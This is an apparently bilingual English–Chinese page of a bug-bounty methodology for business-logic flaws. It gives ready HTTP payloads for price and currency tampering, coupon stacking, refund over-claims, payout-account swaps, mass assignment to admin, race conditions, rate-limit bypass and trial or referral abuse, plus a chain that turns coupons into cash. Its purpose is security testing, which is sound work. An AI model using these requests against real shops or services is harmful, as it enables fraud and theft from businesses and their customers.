offensive-business-logic

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Business Logic — Offensive Testing Methodology

Business Logic — 攻击性测试方法论

Business logic flaws are the highest-paying class of vulnerability for bug bounty and the hardest for scanners to detect. They live in the gap between what the developer specified and what an attacker can convince the system to accept.
Business logic 缺陷是 bug bounty 中回报最高的一类漏洞,也是扫描器最难检测的一类。它们存在于开发者指定的行为与攻击者能够诱使系统接受的行为之间。

Quick Workflow

快速工作流

  1. Map every multi-step flow as a state machine (states + allowed transitions + side effects)
  2. For each transition, ask: who can call it, in what state, with what inputs, how many times
  3. Probe each axis (state, identity, input, frequency) for assumptions
  4. Combine flaws — single-axis flaws are usually low severity; chains are critical
  5. Quantify financial impact per finding (loss-per-attack × scale)

  1. 将每个 multi-step 流程映射为 state machine(状态 + 允许的转换 + 副作用)
  2. 对每次转换询问:谁可以调用它?处于什么状态?使用哪些输入?可以调用多少次?
  3. 沿每个轴(状态、身份、输入、频率)探测其中的假设
  4. 组合缺陷——单轴缺陷通常严重性较低;漏洞链则可能是 critical
  5. 量化每个发现项的财务影响(单次攻击损失 × 规模)

Reconnaissance — Mapping the Logic

侦察——梳理逻辑

Build the State Machine

构建 State Machine

For each user flow, draw:
  • States: cart, pending payment, paid, shipped, refunded, cancelled
  • Transitions: which API/UI action, which role, which preconditions
  • Side effects: balance change, inventory change, email, webhook
Look for transitions that:
  • Skip intermediate states (
    cart
    →
    shipped
    without
    paid
    )
  • Are reversible when they shouldn't be (
    shipped
    →
    cart
    )
  • Trigger side effects more than once
  • Allow cross-role invocation
对于每个用户流程,绘制:
  • 状态:cart、pending payment、paid、shipped、refunded、cancelled
  • 转换:哪个 API/UI 操作、哪个角色、哪些前置条件
  • 副作用:余额变化、库存变化、邮件、webhook
寻找存在以下问题的转换:
  • 跳过中间状态(
    cart
    →
    shipped
    ,未经过
    paid
    )
  • 在不应可逆时却可逆(
    shipped
    →
    cart
    )
  • 多次触发副作用
  • 允许跨角色调用

Hidden / Internal Endpoints

隐藏 / 内部端点

bash
undefined
bash
undefined

Compare authenticated and unauthenticated JS bundles for buried admin routes

Compare authenticated and unauthenticated JS bundles for buried admin routes

diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)
diff <(curl https://app/main.js) <(curl -H "Cookie: ..." https://app/main.js)

Look for flag/feature toggles that change UI but not server-side enforcement

Look for flag/feature toggles that change UI but not server-side enforcement

grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js
grep -E '(isAdmin|isInternal|featureFlag|debug)' bundle.js

API spec (OpenAPI/Swagger) often lists endpoints the UI never calls

API spec (OpenAPI/Swagger) often lists endpoints the UI never calls

curl https://app/api/openapi.json | jq '.paths | keys'

---
curl https://app/api/openapi.json | jq '.paths | keys'

---

Workflow / State-Machine Bypass

工作流 / State Machine 绕过

Skip a Required Step

跳过必需步骤

http
undefined
http
undefined

Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard

Normal flow: /verify-email → /set-password → /enable-2fa → /dashboard

Try jumping directly:

Try jumping directly:

GET /dashboard GET /api/account/details POST /api/payout-settings

```http
GET /dashboard GET /api/account/details POST /api/payout-settings

```http

Checkout flow: /cart → /address → /shipping → /payment → /confirm

Checkout flow: /cart → /address → /shipping → /payment → /confirm

Skip /payment by replaying /confirm with a previous order's payment-token reference:

Skip /payment by replaying /confirm with a previous order's payment-token reference:

POST /api/order/confirm { "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
undefined
POST /api/order/confirm { "cartId": "current", "paymentRef": "<old-paid-order-payment-ref>" }
undefined

Replay a One-Time Action

重放一次性操作

http
undefined
http
undefined

Refund endpoint without idempotency

Refund endpoint without idempotency

POST /api/orders/123/refund # First call: $50 refunded, order marked refunded POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
undefined
POST /api/orders/123/refund # First call: $50 refunded, order marked refunded POST /api/orders/123/refund # Second call: server checks "is order refunded?" — race the check (see TOCTOU)
undefined

State Downgrade

状态降级

Move a finalized object back to an editable state where mutations have effect:
http
PUT /api/order/123
{ "status": "draft" }   # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }
将已最终确定的对象移回可编辑状态,使变更操作产生实际影响:
http
PUT /api/order/123
{ "status": "draft" }   # If accepted, you can now edit the price field
PUT /api/order/123
{ "items": [{ "id": "tv", "price": 1 }] }

Direct Endpoint Invocation

直接调用端点

Many admin/backend transitions are reachable from any authenticated user if route-level RBAC is missing while the UI hides them.
bash
undefined
如果缺少 route-level RBAC,许多管理端/后端转换可由任何已认证用户访问,而 UI 只是将其隐藏。
bash
undefined

Enumerate verbs on every discovered path

Enumerate verbs on every discovered path

for path in $(cat paths.txt); do for v in GET POST PUT PATCH DELETE OPTIONS; do code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path) echo "$v $path $code" done done | grep -v -E ' (401|403|404) '

---
for path in $(cat paths.txt); do for v in GET POST PUT PATCH DELETE OPTIONS; do code=$(curl -s -o /dev/null -w "%{http_code}" -X $v -H "Authorization: Bearer $T" https://app$path) echo "$v $path $code" done done | grep -v -E ' (401|403|404) '

---

Price / Quantity / Currency Manipulation

价格 / 数量 / 货币操纵

Negative / Zero / Float Quantities

负数 / 零 / 浮点数量

http
POST /api/cart/add
{ "sku": "tv", "qty": -1 }      # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 }  # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 }    # Overflow → wraps to small number, $0 cost?
http
POST /api/cart/add
{ "sku": "tv", "qty": -1 }      # Refund issued for adding negative items?
{ "sku": "tv", "qty": 0.0001 }  # Float rounding: $0 line item, full product shipped?
{ "sku": "tv", "qty": 9e99 }    # Overflow → wraps to small number, $0 cost?

Hidden Price Fields

隐藏价格字段

http
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
If the server trusts client-supplied
price
, you set the price. Test every numeric field —
price
,
total
,
discount
,
tax
,
shipping
,
subtotal
,
currency
.
http
POST /api/checkout
{ "items": [{"sku":"tv","qty":1,"price":1}], "total": 1, "tax": 0, "shipping": 0 }
如果服务器信任客户端提供的
price
,你就能自行设定价格。测试每个数值字段——
price
、
total
、
discount
、
tax
、
shipping
、
subtotal
、
currency
。

Currency Confusion

货币混淆

http
POST /api/checkout
{ "amount": 100, "currency": "JPY" }   # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" }   # Even better
{ "amount": 100, "currency": "BTC" }   # Or worse: pay in BTC at $1 BTC = $1?
Look for: missing currency normalization, sloppy FX rate caching, currency lookup by user input.
http
POST /api/checkout
{ "amount": 100, "currency": "JPY" }   # Pay 100 JPY (~$0.65) for $100 USD product?
{ "amount": 100, "currency": "VND" }   # Even better
{ "amount": 100, "currency": "BTC" }   # Or worse: pay in BTC at $1 BTC = $1?
查找:缺少货币标准化、汇率缓存处理草率、根据用户输入查询货币。

Coupon / Discount Logic

Coupon / Discount 逻辑

http
undefined
http
undefined

Apply same coupon multiple times

Apply same coupon multiple times

POST /api/cart/coupon { "code": "SAVE50" } POST /api/cart/coupon { "code": "SAVE50" } # Stacks? POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot? POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?
POST /api/cart/coupon { "code": "SAVE50" } POST /api/cart/coupon { "code": "SAVE50" } # Stacks? POST /api/cart/coupon { "code": "save50" } # Case sensitivity gives second slot? POST /api/cart/coupon { "code": "SAVE50 " } # Whitespace ditto?

Coupon for a different product

Coupon for a different product

POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }
POST /api/cart/apply-coupon { "code": "FREEMOUSE", "appliedTo": "macbook" }

Negative discount (becomes a surcharge that reduces total when coupon stacked with another)

Negative discount (becomes a surcharge that reduces total when coupon stacked with another)

POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable
POST /api/admin/coupon { "code": "X", "percent": -50 } # If admin endpoint reachable

Expired coupon: change date in payload?

Expired coupon: change date in payload?

POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
undefined
POST /api/cart/coupon { "code": "BLACKFRIDAY", "appliedAt": "2023-11-25T00:00:00Z" }
undefined

Cart Tampering

购物车篡改

http
undefined
http
undefined

Add a cheap item, edit the SKU server-side

Add a cheap item, edit the SKU server-side

POST /api/cart/add { "sku": "pen", "qty": 1 } PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?

---
POST /api/cart/add { "sku": "pen", "qty": 1 } PUT /api/cart/items/abc { "sku": "macbook" } # SKU swap with pen's price retained?

---

Refund / Chargeback / Payout Abuse

Refund / Chargeback / Payout 滥用

Refund More Than You Paid

退款金额超过实付金额

http
POST /api/orders/123/refund { "amount": 99999 }
http
POST /api/orders/123/refund { "amount": 99999 }

Refund After Returning Less

少退货但申请全额退款

Order ships 5 items, you return 1, request refund for full order. Logic should compute refund per returned item; if it computes per order, free items.
订单发出 5 件商品,你退回 1 件,却申请整单退款。逻辑应按每个退回商品计算退款;如果按订单计算,就能免费获得其余商品。

Convert Refund to Different Method

将退款转换为其他方式

http
POST /api/orders/123/refund { "method": "store-credit" }
http
POST /api/orders/123/refund { "method": "store-credit" }

vs original card payment → store credit can be transferred / sold

vs original card payment → store credit can be transferred / sold

undefined
undefined

Payout Account Race

Payout 账户竞态

http
PUT  /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT  /api/payout-account { "iban": "ORIGINAL" }   # Restore before audit

http
PUT  /api/payout-account { "iban": "ATTACKER" }
POST /api/withdraw { "amount": 1000 }
PUT  /api/payout-account { "iban": "ORIGINAL" }   # Restore before audit

Identity / Tenant / Role Boundary

身份 / Tenant / Role 边界

Role Confusion via Multipart / Parameter Pollution

通过 Multipart / Parameter Pollution 造成角色混淆

http
POST /api/users/me
role=user&role=admin              # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins
http
POST /api/users/me
role=user&role=admin              # Last-wins parser → admin
{"role": "user", "role": "admin"} # JSON last-wins

Tenant ID Substitution in Hidden Field

隐藏字段中的 Tenant ID 替换

http
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }
http
POST /api/invoices
{ "amount": 100, "tenantId": "victim-corp", "billTo": "attacker" }

Charges victim-corp for attacker's order

Charges victim-corp for attacker's order

undefined
undefined

Mass Assignment / Field Whitelist

Mass Assignment / 字段白名单

http
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
Test every field that exists on the model, not just those the form exposes.
http
PUT /api/users/me
{ "email": "x@y.com", "isAdmin": true, "credits": 10000, "tenantId": "victim" }
测试模型上存在的每个字段,而不只是表单公开的字段。

Indirect Privilege via Object Linking

通过对象关联获得间接权限

http
POST /api/projects/PUBLIC-PROJECT/share-token   # Anyone can mint
GET  /api/projects/PUBLIC-PROJECT/internal-only-data?token=...
http
POST /api/projects/PUBLIC-PROJECT/share-token   # Anyone can mint
GET  /api/projects/PUBLIC-PROJECT/internal-only-data?token=...

Sharing API meant for collaborators bypasses role check on data API

Sharing API meant for collaborators bypasses role check on data API


---

---

Race Conditions on Logic Boundaries

逻辑边界上的 Race Conditions

Logic checks that read state, then act on state, are TOCTOU-vulnerable. (Also see:
offensive-toctou
,
offensive-race-condition
.)
读取状态后再基于该状态执行操作的逻辑检查容易出现 TOCTOU 漏洞。(另见:
offensive-toctou
、
offensive-race-condition
。)

Single-Packet Multi-Request

单包多请求

python
undefined
python
undefined

Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,

Burp Repeater "Send group in parallel (single-packet attack)" — HTTP/2 over TLS,

all requests' last frames sent in one TCP segment. Server processes them concurrently.

all requests' last frames sent in one TCP segment. Server processes them concurrently.

undefined
undefined

Common Logic Races

常见逻辑竞态

FlowRace
Coupon redemptionN parallel
apply-coupon
calls each see "unused"
2FA verificationSubmit code N times in parallel before lockout counter increments
WithdrawalParallel withdraws each see full balance
Vote / Like / Reaction"One per user" check raced
Invitation acceptanceMultiple accepts → multiple seats granted
Free-trial signupParallel signups → multiple trials per email
Gift-card redeemParallel redeems → multi-spend a single card
Inventory reservationParallel buys of last item → oversell, supplier covers difference
流程竞态
Coupon redemptionN 个并行的
apply-coupon
调用都认为优惠券“未使用”
2FA verification在锁定计数器递增前并行提交验证码 N 次
Withdrawal并行提现时每个请求都看到完整余额
Vote / Like / Reaction“每个用户一次”的检查发生竞态
Invitation acceptance多次接受邀请 → 授予多个席位
Free-trial signup并行注册 → 同一邮箱获得多个试用资格
Gift-card redeem并行兑换 → 多次消费同一张卡
Inventory reservation并行购买最后一件库存 → 造成超卖,差价由供应商承担

Amplification

放大

python
undefined
python
undefined

Send 30 parallel "redeem $10 gift card" requests, all see balance = $10

Send 30 parallel "redeem $10 gift card" requests, all see balance = $10

Result: $300 credited from a $10 card

Result: $300 credited from a $10 card


---

---

Anti-Automation / Fraud Defeat

反自动化 / 反欺诈

Captcha / Rate Limit Bypass

Captcha / Rate Limit 绕过

BypassMechanic
Token reuseOne captcha solve, replay token across many requests
Endpoint mirror
/api/v1/login
rate-limited,
/api/v2/login
not
Header rotation
X-Forwarded-For: <random>
resets per-IP counter
HTTP/2 stream multiplexingEach stream counted as same conn → window only
Method/case variation
POST /Login
vs
POST /login
keyed differently in cache
绕过方式机制
Token reuse一次完成 captcha,将 token 重放到多个请求
Endpoint mirror
/api/v1/login
有速率限制,而
/api/v2/login
没有
Header rotation
X-Forwarded-For: <random>
可重置按 IP 计算的计数器
HTTP/2 stream multiplexing每个 stream 被计为同一连接 → 只触发窗口期
Method/case variation
POST /Login
与
POST /login
在缓存中采用不同的键

Device Fingerprint / Velocity

设备指纹 / Velocity

  • New device → require step-up auth. Replay captured device cookies / FingerprintJS hash.
  • Velocity counters (5 logins/hour) often per
    (userid, ip)
    not per
    userid
    .
  • Risk score thresholds: small purchases skip review. Test the boundary ($99.99 vs $100).
  • 新设备 → 要求 step-up auth。重放捕获的设备 cookie / FingerprintJS hash。
  • Velocity 计数器(每小时 5 次登录)通常按
    (userid, ip)
    ,而不是仅按
    userid
    计算。
  • 风险分数阈值:小额购买会跳过审核。测试边界($99.99 与 $100)。

Free Trial / Sign-Up Abuse

免费试用 / 注册滥用

http
undefined
http
undefined

Email aliasing

Email aliasing

attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail attacker@googlemail.com # gmail/googlemail equivalence
attacker+1@gmail.com, attacker+2@gmail.com # Plus-aliasing attacker.@gmail.com, a.t.t.acker@gmail.com # Dots ignored on Gmail attacker@googlemail.com # gmail/googlemail equivalence

Phone number recycling (number-portable VOIP) — identity not unique

Phone number recycling (number-portable VOIP) — identity not unique

Device-ID rotation (mobile testing) — wipe storage, new install

Device-ID rotation (mobile testing) — wipe storage, new install

undefined
undefined

Referral / Reward Loops

推荐 / 奖励循环

http
POST /api/refer { "email": "a@x.com" }   # +$5 to me when they sign up
http
POST /api/refer { "email": "a@x.com" }   # +$5 to me when they sign up

Sign up the alias, receive referral

Sign up the alias, receive referral

POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person

---
POST /api/refer { "email": "a+1@x.com" } # Repeat — many sign-ups, all same person

---

Subscription / Quota / Tier Abuse

Subscription / Quota / Tier 滥用

Tier Downgrade Retains Premium Features

降级 Tier 后仍保留高级功能

http
PUT /api/subscription { "tier": "free" }   # Cancel paid
GET /api/feature/premium-export             # Still works because feature flag cached?
http
PUT /api/subscription { "tier": "free" }   # Cancel paid
GET /api/feature/premium-export             # Still works because feature flag cached?

Mid-Cycle Quota Reset

计费周期中途重置 Quota

http
PUT /api/subscription { "tier": "pro" }   # +1000 quota
PUT /api/subscription { "tier": "free" }  # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" }   # +1000 again — net 2000 in one cycle
http
PUT /api/subscription { "tier": "pro" }   # +1000 quota
PUT /api/subscription { "tier": "free" }  # Resets to 0? Or just caps display?
PUT /api/subscription { "tier": "pro" }   # +1000 again — net 2000 in one cycle

Add-On Stacking

Add-On 叠加

http
POST /api/addons { "id": "extra-storage" }   # +10GB
POST /api/addons { "id": "extra-storage" }   # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" }   # Or charges once, stacks N times?

http
POST /api/addons { "id": "extra-storage" }   # +10GB
POST /api/addons { "id": "extra-storage" }   # Stacks to 20GB?
POST /api/addons { "id": "extra-storage" }   # Or charges once, stacks N times?

Time-Based Logic

基于时间的逻辑

Time Travel via Headers

通过 Headers 进行时间穿越

http
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT      # Server-trusted time?
X-Request-Time: 1577836800
http
POST /api/checkout
Date: Wed, 01 Jan 2020 00:00:00 GMT      # Server-trusted time?
X-Request-Time: 1577836800

Promotion Window

促销窗口

Set client-side date to inside the window, server validates
X-Promo-Time
parameter. Stale promo cache means yesterday's prices apply today.
将客户端日期设置到窗口内,服务器会验证
X-Promo-Time
参数。陈旧的促销缓存可能使昨天的价格沿用至今天。

Token / Session Expiry

Token / Session 过期

Refresh token endpoint that doesn't check the original token's expiry → indefinite session extension.

刷新 token 端点若不检查原始 token 的过期时间 → 会话将被无限延长。

Combining Flaws — Where the Crits Live

组合缺陷——Critical 漏洞的所在之处

Single-axis findings are interesting; chains are payouts.
Example chain (real, paid bounty):
  1. Coupon stacking allows
    100% off
    × 2 → negative total
  2. Negative total → store credit issued (refund of "overpayment")
  3. Store credit transferable to gift card
  4. Gift card race condition → multiplied
  5. Gift card redeemable on partner site for cash equivalents
Chain template:
  • Find a thing the system gives you (credit, points, slot, seat)
  • Find a way to multiply it (race, replay, stacking)
  • Find a way to convert it to value (transfer, refund, payout)

单轴发现项颇有意思;而漏洞链才能带来高额回报。
示例漏洞链(真实且已获得奖金的 bug bounty):
  1. Coupon stacking 允许
    100% off
    × 2 → 产生负数总额
  2. 负数总额 → 发放 store credit(“多付退款”)
  3. Store credit 可转移到 gift card
  4. Gift card race condition → 额度倍增
  5. Gift card 可在合作站点兑换为现金等价物
漏洞链模板:
  • 找出系统会提供给你的东西(credit、points、slot、seat)
  • 找出将其倍增的方法(race、replay、stacking)
  • 找出将其转换为价值的方法(transfer、refund、payout)

Engagement Approach

参与方式

Day 1:  Map state machines for top 3 money flows.
Day 2:  Per state, list what the UI does. Check what the API allows.
Day 3:  Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4:  Race conditions on every "one-shot" action.
Day 5:  Chain the findings. Quantify financial impact per chain.
Document each finding as: pre-conditions → exact request sequence → state delta → financial impact per execution → scaling factor.

Day 1:  Map state machines for top 3 money flows.
Day 2:  Per state, list what the UI does. Check what the API allows.
Day 3:  Single-axis tests (price tampering, role mass-assignment, replay, currency).
Day 4:  Race conditions on every "one-shot" action.
Day 5:  Chain the findings. Quantify financial impact per chain.
按照以下方式记录每个发现项:前置条件 → 精确请求序列 → 状态变化 → 单次执行的财务影响 → 扩展因子。

Reporting Hooks

报告要点

Business-logic findings often get downgraded by triagers who don't understand the chain. Always include:
  • A diagram of the intended flow vs. the achieved flow
  • A scripted PoC that runs end-to-end (no manual steps)
  • A dollar value per execution and a feasibility statement for repeating it
  • The fix at the right layer (state machine validator, not just input validation)

Business logic 发现项常因分诊人员不理解漏洞链而被降级。始终包括:
  • 预期流程与实际达成流程的对比图
  • 可端到端运行的脚本化 PoC(无需手动步骤)
  • 每次执行的美元价值,以及重复执行可行性的说明
  • 在正确层级实施修复(状态机校验器,而不只是输入验证)

Key References

关键参考